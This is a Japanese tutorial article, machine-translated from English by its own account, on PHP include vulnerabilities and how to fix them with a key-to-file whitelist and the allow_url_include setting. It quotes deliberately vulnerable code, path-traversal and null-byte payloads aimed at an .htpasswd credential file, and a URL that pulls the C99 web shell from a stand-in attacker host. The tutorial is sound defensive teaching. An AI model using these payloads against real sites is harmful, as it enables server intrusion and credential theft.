注意: この記事はLLMによって英語から翻訳されたものです。正確性については保証いたしかねますので、あらかじめご了承ください。英語の原文はこちら。
本日は、PHPにおけるinclude脆弱性について探っていきます。これがどのようにしてウェブサーバー上のファイルへのアクセスを可能にし、リモートスクリプトの実行を許してしまうかを見ていきます。最後に、開発者がこの問題を解消する方法を紹介します。
include脆弱性とは?#
PHPには、あるページ全体を現在のページに読み込むための関数があります。その名もそのまま「include」です。誤った使い方をすると非常に危険で、外部コードの実行を許可してしまい、攻撃者がサーバー上のプライベートファイルを取得するなど、多くの不愉快な事態を引き起こす可能性があります。
どのように機能するのか?#
すべてのコンテンツがindex.phpファイルを通じて読み込まれるウェブサイトがあるとしましょう。このファイルはGET変数を通じてロードしたいページの名前をパラメータとして受け取ります。例えば、ブログ記事の一覧にアクセスするために次のようなURLを使うことができます:www.mywebsite.com/index.php?page=article.php
index.phpでは、変数pageに対する検証なしにincludeメソッド(詳細はこちらを参照)が呼び出されます。articles.phpファイルはindex.phpと同じディレクトリにあります。
include($_GET['page']);ここに問題があります。開発者はGET変数に実際のファイル名を直接入れることにし、検証が行われていないため、ウェブサーバーがアクセスできるあらゆるファイルやインターネット上のあらゆるファイルにアクセスすることが可能です。例えば、/var/security/.htpasswdに.htpasswdがある場合、www.mywebsite.com/index.php?page=../security/.htpasswdというページをロードするだけでアクセスできます。
もう一つ可能なのは、インターネット上のスクリプトを呼び出すことです。攻撃者は例えば、サーバー上にシェル(有名なC99など)をロードして好き放題できます。www.mywebsite.com/index.php?page=http://pirate.com/c99.phpというページを呼び出すだけで、c99.phpが実行されます。
どうやって防ぐか?#
もちろん修正方法はありますが、正しい方法を見る前に、まずいやり方を見てみましょう。
まずい防止方法#
「includeのパスの一部をハードコーディングして、GET変数と組み合わせればいいのでは」と思ったなら、それは間違いです。この解決策を実装すると、include('/pages/' . $_GET['page'] '.php');のようになります。
これはリモートコード読み込みには効果がありますが、それだけです。サーバー上のあらゆるファイルへのアクセスは依然として簡単にできます。まず、..を使って親ディレクトリに移動することで、pagesディレクトリの制限は簡単に回避できます。次に、.phpも無意味です。PHPはC言語で実行されるため、文字列の末尾に%00を追加することでヌルバイトを挿入でき、結果として.phpが処理されなくなります。つまり、先ほどの.htpasswdファイルにアクセスしたい場合、次のパスを使うだけです:../../security/.htpasswd%00
良い修正の例#
この脆弱性を防ぐ方法の一つは、キーとファイルパスを対応させる配列を作成することです。以下のようになります:
$coresp = array(
'home' => 'home.php',
'comments' => 'comments.php'
);
$to_include = isset($_GET['page']) && array_key_exists($_GET['page'], $coresp) ? $coresp[$_GET['page']] : 'home.php';
include($to_include);この例では、GET引数としてキーを渡します。例えば、ホームページにアクセスするにはwww.mywebsite.com/index.php?page=homeを使います。次に、キーが配列に存在するかどうかを確認します。存在すればキーに関連付けられた値を取得し、存在しなければ単にホームページをロードします。GET変数に渡された値はinclude関数に直接渡されないため、安全です。
PHPの設定でリスクを制限する#
最後に、PHP設定のallow_url_include変数の値を変更することができます。その名の通り、include関数を使用したリモートコンテンツの読み込みを防止します。しかし、ローカルファイルへのアクセスは防げないため、これだけでは十分ではありません。